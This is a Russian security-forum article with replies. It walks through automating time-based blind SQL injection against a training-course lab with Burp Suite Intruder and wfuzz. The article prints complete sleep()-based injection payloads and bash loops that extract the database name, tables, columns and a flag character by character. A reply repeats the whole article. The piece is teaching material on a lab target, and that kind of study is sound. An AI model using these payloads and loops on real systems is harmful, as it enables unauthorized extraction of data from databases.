• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Статья Автоматизация эксплуатации слепой Time-based SQL-инъекции при помощи Burp Suite и WFUZZ

1699176176111.png


Привет форумчане!

Давно не брался за перо, все никак не мог найти ни времени, ни мозгов, ни идей. Эта статья будет некоторым продолжением статей Автоматизация эксплуатации слепой инъекции при помощи Burp Suite и Автоматизация эксплуатации слепой инъекции при помощи WFUZZ.

Как показала практика, автоматизация извлечения данных из таблиц посредством Burp Suite и WFUZZ имеет право на жизнь, а моя писанина даже кому-то принесла пользу. Сегодня мы попробуем использовать эти же инструменты для эксплуатации Time-based SQL-инъекции.

В чем прелесть Time-based? Эта уязвимость (полностью слепая инъекция или двойная слепая инъекция) основана на задержке времени. Когда тесты на истинные и ложные запросы не дают совершенно никакого результата (вывод всегда одинаковый), стоит сделать тесты на Time blind (Double blind).

По традиции, для своих экспериментов я возьму одну из задач курса WAPT. Надеюсь мои коллеги при встрече не отобьют мне почки за разглашение корпоративной тайны. Итак, приступим!

Имеем некий сайт, на котором в одном из параметров детектировали SQL-инъекцию.
1699174387209.png

На самом деле, здесь она очень простая, здесь присутствует Union-based SQL-инъекция и задача решается элементарной подстановкой запроса ' or true--+- и мы получим искомый флаг:​

1699174453335.png

Но сегодня цель у нас другая и мы должны решить ее с использованием временной задержки. Начнем с Burp Suite.​

Burp Suite Intruder

Мы уже убедились, что использовать этот инструмент для автоматизации извлечения содержимого БД очень наглядно и удобно, а главное – это быстрее, чем тащить все это руками, перебирая вручную каждый символ в Repiter. Для этого не требуется великих знаний и мозгов, а только прямые руки и некоторые понятия в SQL-запросах.

Для начала перехватим наш запрос в Burp Suite и отправим его в Repiter. В уязвимый параметр вставляем следующую нагрузку: ' and sleep(5)--+- и нажимаем кнопку Send. Наблюдаем, что ответ появляется с некоторой задержкой. От этого и будем плясать.​

1699174619964.png


1699174637892.png

Функция sleep(5) вызывает задержку запроса на указанное количество секунд. В нашем случае мы получим 5-секундную задержку. Теперь попробуем определить количество символов в названии БД, для этого будем использовать следующий запрос: ' and if(length(database())<10, sleep(5),0)--+-

Здесь функция IF() в зависимости от результата условного выражения возвращает одно из двух значений. Она имеет следующий синтаксис: IF(условие, значение 1, значение 2).
В нашем случае, если условие length(database())<10 выполнится, то мы получим задержку, если не выполнится – не получим.​

1699174820223.png

Мы ничего не получили. Поменяем знак на > и наблюдаем 5-секундную задержку.
1699174876095.png

Значит в названии текущей базы данных больше 10 символов. Давайте узнаем это название. Формируем следующий запрос:

1' and IF(ascii(substring((select database()),1,1))=116, sleep(5),0)--+-

Здесь мы будем перебирать не символы по словарю, а ASCII коды этих символов. Все дело в том, что большие и маленькие буквы дадут одинаковую реакцию и если мы будем вытаскивать из базы пароль PasswoRD, то в итоге получим password. В общем извлечение через ASCII коды избавит нас в дальнейшем от проблем с регистром.

И вот тут мы подошли к моменту, когда нам нужно вручную перебирать два значения: номер символа по порядку и код символа в таблице ASCII.

1' and IF(ascii(substring((select database()),1,1))=116, sleep(5),0)--+-

Посмотрим на таблицу ASCII кодов. Для нас полезными будут являться символы 32-126.
1699175062286.png

Если мы будем перебирать название БД из более чем 10 символов по всем этим кодам, то на извлечение только этого у нас уйдет минут 40, а после этого мы предпочтем бросить все к чертям собачьим и отдаться алкогольному богу. Самые умные, конечно, потратят минут 40-60 на написание скрипта, например, на Python для эксплуатации этой инъекции, но так как я к ним себя не отношу, то буду использовать то, что имею.

Загоняем наш запрос в Intruder. Выбираем тип атаки – Cluster bomb и символы, которые требуется перебирать
1699175607558.png

Переходим во вкладку Payloads и для первого пейлоада задаем числовые значения от 1 до, например, 20 с шагом 1.
1699175666145.png

А для второго – числовые значения от от 32 до 126 с шагом 1.
1699175703366.png

И запускаем атаку.
1699175760753.png

Если вы сейчас посмотрите на скриншот, то наверняка скажете, что Paladin – тупой баран, который потратил кучу нашего времени и не получил никакого результата, то мне останется только спрятаться куда-нибудь подальше, чтобы вы меня не нашли или…. добавить, что нужно зайти меню Columns и сделать видимым столбец Response received, в котором как раз и указано время ответа.
1699175840341.png

Все, что нам останется сделать, это отсортировать столбец Response received по убыванию и получить значения, на ответ которых ушло примерно 5 секунд.
1699175892079.png

Проблема в том, что в этом случае мы не можем отсортировать сразу по двум столбцам и придется по первому пейлоаду сортировать значения вручную. Самые умные, конечно, скопируют нужную часть таблицы в файл.
1699176176163.png

А после этого отсортируют содержимое по второму столбцу, используя в терминале следующую команду: sort –n –k 2 db

1699176704714.png

Дальше можно было бы обратиться к одному из онлайн-кодировщиков и перевести все это в знакомые нам буковки, но мы используем для этого небольшой скриптик.

1699176807778.png

1699176829912.png

Вот так мы получили название текущей базы данных. Чтобы получить название таблиц, используем следующий запрос:

' and IF(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1,1))=116,sleep(5),0)--+-

Оператор limit нам нужен в том случае, если у нас несколько таблиц и мы после нахождения очередного значения меняем первый индекс limit: 0,1 > 1,1 > 2,1 и т.д. В нашем примере нашлась только одна таблица:
1699176995827.png


1699177031785.png

Названия столбцов будем вытаскивать следующим запросом:

' and IF(ascii(substring((select column_name from information_schema.columns where table_name=’flag_box’ limit 0,1), 1,1))=116,sleep(5),0)--+-

Вот тут нам уже понадобится изменять значение limit, так как столбцов будет несколько. Мы нашли столбцы id и name. Логично, что искомое значение флага находится в столбце name, поэтому для его извлечения используем запрос следующего содержания:

' and IF(ascii(substring((select name from flag_box limit 0,1), 1,1))=116,sleep(5),0)--+-

В результате я получил следующее:
1699177135345.png

Очевидно, что флаг не полный, потому что я оставил на перебор только 20 символов, но вы можете сравнить этот кусочек с тем что мы видели вначале статьи и поймете, что мы получили часть реального флага.

На весь процесс у меня ушло от силы 20 минут. Вручную за это время мы смогли бы извлечь только половину названия таблицы. Многие скажут, что в Burp Suite версии Community перебор идет значительно дольше, чем в PRO версии. Соглашусь, но в нашем случае, использование версии Community увеличит время решения всей задачи минут на 10. Для работы с большими базами данных через Time-based лучше всего использовать один из фаззеров, скорость работы которых существенно быстрее. Мы обратимся к wfuzz, так как он имеет опцию, позволяющую задавать диапазон чисел для фаззинга. Ffuf тоже подойдет, но для него придется создавать два словаря с числами и фаззить по ним.​

Wfuzz

Мы сейчас не будем изобретать велосипед, так как все нужные запросы у нас уже есть из предыдущего примера. Просто применим их для wfuzz.

Имя БД
for i in $(seq 1 20); do wfuzz -v -c -z range,32-126 " ' and IF((ascii(substr(database(),$i,1)))=FUZZ,sleep(5),null)--+-";done > db && grep -F "5." db

1699177378986.png

Перебор у меня занял ровно 70 секунд. Теперь разберем, что мы тут делаем. Запускаем в командной строке цикл от 1 до 20 на выполнение программы wfuzz с нашей нагрузкой и устанавливаем диапазон для перебора кодов ASCII от 32 до 126. Результат будет сохранен в файл db и после этого выполнится команда grep, которая оставит только те значения, которые нам нужны (то есть с задержкой около 5 секунд) и выведет все это на экран. Только, если вы заметили, у нас уже все символы отсортированы в нужном порядке. Нам остается только перекодировать их в алфавитно-цифровой вид. Дальнейший алгоритм, как в предыдущем примере.

Имена таблиц

for i in $(seq 1 20); do wfuzz -v -c -z range,32-126 "http://192.168.2.239/?id=1' and IF(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1), $i,1))=FUZZ,sleep(5),0)--+-";done > tables && grep -F "5." tables

1699177504381.png

Название столбцов

for i in $(seq 1 20); do wfuzz -v -c -z range,32-126 " ' and IF(ascii(substring((select column_name from information_schema.columns where table_name='flag_box' limit 1,1), $i,1))=FUZZ,sleep(5),0)--+-";done > columns && grep -F "5." columns

1699177568369.png

Флаг

for i in $(seq 1 20); do wfuzz -v -c -z range,32-126 " ' and IF(ascii(substring((select name from flag_box limit 3,1), $i,1))=FUZZ,sleep(5),0)--+-";done > flag && grep -F "5." flag

1699177658008.png

Ну вот, пожалуй, и все. Я не стал здесь заморачиваться с нормальной фильтрацией в команде grep, чтобы исключить ненужную информацию в выводе. Мне просто лень, да и пива уже хочется. Думаю, у кого есть желание, сам разберется как красивее организовать вывод на экран или в файл и напишет это в комментариях. Буду признателен.

На этом все. Спасибо за внимание!
 
Последнее редактирование модератором:

Rocky-Balboa

New member
10.12.2023
2
0
BIT
13
Благодарю за проделанную работу, статья как всегда на высоте. Продолжайте в том же духе!!!
 

Blllackdog

New member
01.08.2023
1
0
BIT
17
Посмотреть вложение 72026

Привет форумчане!

Давно не брался за перо, все никак не мог найти ни времени, ни мозгов, ни идей. Эта статья будет некоторым продолжением статей Автоматизация эксплуатации слепой инъекции при помощи Burp Suite и Автоматизация эксплуатации слепой инъекции при помощи WFUZZ.

Как показала практика, автоматизация извлечения данных из таблиц посредством Burp Suite и WFUZZ имеет право на жизнь, а моя писанина даже кому-то принесла пользу. Сегодня мы попробуем использовать эти же инструменты для эксплуатации Time-based SQL-инъекции.

В чем прелесть Time-based? Эта уязвимость (полностью слепая инъекция или двойная слепая инъекция) основана на задержке времени. Когда тесты на истинные и ложные запросы не дают совершенно никакого результата (вывод всегда одинаковый), стоит сделать тесты на Time blind (Double blind).

По традиции, для своих экспериментов я возьму одну из задач курса WAPT. Надеюсь мои коллеги при встрече не отобьют мне почки за разглашение корпоративной тайны. Итак, приступим!

Имеем некий сайт, на котором в одном из параметров детектировали SQL-инъекцию.

На самом деле, здесь она очень простая, здесь присутствует Union-based SQL-инъекция и задача решается элементарной подстановкой запроса ' or true--+- и мы получим искомый флаг:​


Но сегодня цель у нас другая и мы должны решить ее с использованием временной задержки. Начнем с Burp Suite.​

Burp Suite Intruder

Мы уже убедились, что использовать этот инструмент для автоматизации извлечения содержимого БД очень наглядно и удобно, а главное – это быстрее, чем тащить все это руками, перебирая вручную каждый символ в Repiter. Для этого не требуется великих знаний и мозгов, а только прямые руки и некоторые понятия в SQL-запросах.

Для начала перехватим наш запрос в Burp Suite и отправим его в Repiter. В уязвимый параметр вставляем следующую нагрузку: ' and sleep(5)--+- и нажимаем кнопку Send. Наблюдаем, что ответ появляется с некоторой задержкой. От этого и будем плясать.​


Функция sleep(5) вызывает задержку запроса на указанное количество секунд. В нашем случае мы получим 5-секундную задержку. Теперь попробуем определить количество символов в названии БД, для этого будем использовать следующий запрос: ' and if(length(database())<10, sleep(5),0)--+-

Здесь функция IF() в зависимости от результата условного выражения возвращает одно из двух значений. Она имеет следующий синтаксис: IF(условие, значение 1, значение 2).
В нашем случае, если условие length(database())<10 выполнится, то мы получим задержку, если не выполнится – не получим.​


Мы ничего не получили. Поменяем знак на > и наблюдаем 5-секундную задержку.

Значит в названии текущей базы данных больше 10 символов. Давайте узнаем это название. Формируем следующий запрос:

1' and IF(ascii(substring((select database()),1,1))=116, sleep(5),0)--+-

Здесь мы будем перебирать не символы по словарю, а ASCII коды этих символов. Все дело в том, что большие и маленькие буквы дадут одинаковую реакцию и если мы будем вытаскивать из базы пароль PasswoRD, то в итоге получим password. В общем извлечение через ASCII коды избавит нас в дальнейшем от проблем с регистром.

И вот тут мы подошли к моменту, когда нам нужно вручную перебирать два значения: номер символа по порядку и код символа в таблице ASCII.

1' and IF(ascii(substring((select database()),1,1))=116, sleep(5),0)--+-

Посмотрим на таблицу ASCII кодов. Для нас полезными будут являться символы 32-126.

Если мы будем перебирать название БД из более чем 10 символов по всем этим кодам, то на извлечение только этого у нас уйдет минут 40, а после этого мы предпочтем бросить все к чертям собачьим и отдаться алкогольному богу. Самые умные, конечно, потратят минут 40-60 на написание скрипта, например, на Python для эксплуатации этой инъекции, но так как я к ним себя не отношу, то буду использовать то, что имею.

Загоняем наш запрос в Intruder. Выбираем тип атаки – Cluster bomb и символы, которые требуется перебирать

Переходим во вкладку Payloads и для первого пейлоада задаем числовые значения от 1 до, например, 20 с шагом 1.

А для второго – числовые значения от от 32 до 126 с шагом 1.

И запускаем атаку.

Если вы сейчас посмотрите на скриншот, то наверняка скажете, что Paladin – тупой баран, который потратил кучу нашего времени и не получил никакого результата, то мне останется только спрятаться куда-нибудь подальше, чтобы вы меня не нашли или…. добавить, что нужно зайти меню Columns и сделать видимым столбец Response received, в котором как раз и указано время ответа.

Все, что нам останется сделать, это отсортировать столбец Response received по убыванию и получить значения, на ответ которых ушло примерно 5 секунд.

Проблема в том, что в этом случае мы не можем отсортировать сразу по двум столбцам и придется по первому пейлоаду сортировать значения вручную. Самые умные, конечно, скопируют нужную часть таблицы в файл.
А после этого отсортируют содержимое по второму столбцу, используя в терминале следующую команду: sort –n –k 2 db

Дальше можно было бы обратиться к одному из онлайн-кодировщиков и перевести все это в знакомые нам буковки, но мы используем для этого небольшой скриптик.


Вот так мы получили название текущей базы данных. Чтобы получить название таблиц, используем следующий запрос:

' and IF(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1,1))=116,sleep(5),0)--+-

Оператор limit нам нужен в том случае, если у нас несколько таблиц и мы после нахождения очередного значения меняем первый индекс limit: 0,1 > 1,1 > 2,1 и т.д. В нашем примере нашлась только одна таблица:
Названия столбцов будем вытаскивать следующим запросом:

' and IF(ascii(substring((select column_name from information_schema.columns where table_name=’flag_box’ limit 0,1), 1,1))=116,sleep(5),0)--+-

Вот тут нам уже понадобится изменять значение limit, так как столбцов будет несколько. Мы нашли столбцы id и name. Логично, что искомое значение флага находится в столбце name, поэтому для его извлечения используем запрос следующего содержания:

' and IF(ascii(substring((select name from flag_box limit 0,1), 1,1))=116,sleep(5),0)--+-

В результате я получил следующее:
Очевидно, что флаг не полный, потому что я оставил на перебор только 20 символов, но вы можете сравнить этот кусочек с тем что мы видели вначале статьи и поймете, что мы получили часть реального флага.

На весь процесс у меня ушло от силы 20 минут. Вручную за это время мы смогли бы извлечь только половину названия таблицы. Многие скажут, что в Burp Suite версии Community перебор идет значительно дольше, чем в PRO версии. Соглашусь, но в нашем случае, использование версии Community увеличит время решения всей задачи минут на 10. Для работы с большими базами данных через Time-based лучше всего использовать один из фаззеров, скорость работы которых существенно быстрее. Мы обратимся к wfuzz, так как он имеет опцию, позволяющую задавать диапазон чисел для фаззинга. Ffuf тоже подойдет, но для него придется создавать два словаря с числами и фаззить по ним.​

Wfuzz

Мы сейчас не будем изобретать велосипед, так как все нужные запросы у нас уже есть из предыдущего примера. Просто применим их для wfuzz.

Имя БД
for i in $(seq 1 20); do wfuzz -v -c -z range,32-126 " ' and IF((ascii(substr(database(),$i,1)))=FUZZ,sleep(5),null)--+-";done > db && grep -F "5." db


Перебор у меня занял ровно 70 секунд. Теперь разберем, что мы тут делаем. Запускаем в командной строке цикл от 1 до 20 на выполнение программы wfuzz с нашей нагрузкой и устанавливаем диапазон для перебора кодов ASCII от 32 до 126. Результат будет сохранен в файл db и после этого выполнится команда grep, которая оставит только те значения, которые нам нужны (то есть с задержкой около 5 секунд) и выведет все это на экран. Только, если вы заметили, у нас уже все символы отсортированы в нужном порядке. Нам остается только перекодировать их в алфавитно-цифровой вид. Дальнейший алгоритм, как в предыдущем примере.

Имена таблиц

for i in $(seq 1 20); do wfuzz -v -c -z range,32-126 "http://192.168.2.239/?id=1' and IF(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1), $i,1))=FUZZ,sleep(5),0)--+-";done > tables && grep -F "5." tables


Название столбцов

for i in $(seq 1 20); do wfuzz -v -c -z range,32-126 " ' and IF(ascii(substring((select column_name from information_schema.columns where table_name='flag_box' limit 1,1), $i,1))=FUZZ,sleep(5),0)--+-";done > columns && grep -F "5." columns


Флаг

for i in $(seq 1 20); do wfuzz -v -c -z range,32-126 " ' and IF(ascii(substring((select name from flag_box limit 3,1), $i,1))=FUZZ,sleep(5),0)--+-";done > flag && grep -F "5." flag


Ну вот, пожалуй, и все. Я не стал здесь заморачиваться с нормальной фильтрацией в команде grep, чтобы исключить ненужную информацию в выводе. Мне просто лень, да и пива уже хочется. Думаю, у кого есть желание, сам разберется как красивее организовать вывод на экран или в файл и напишет это в комментариях. Буду признателен.

На этом все. Спасибо за внимание!
Спасибо, от души!
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!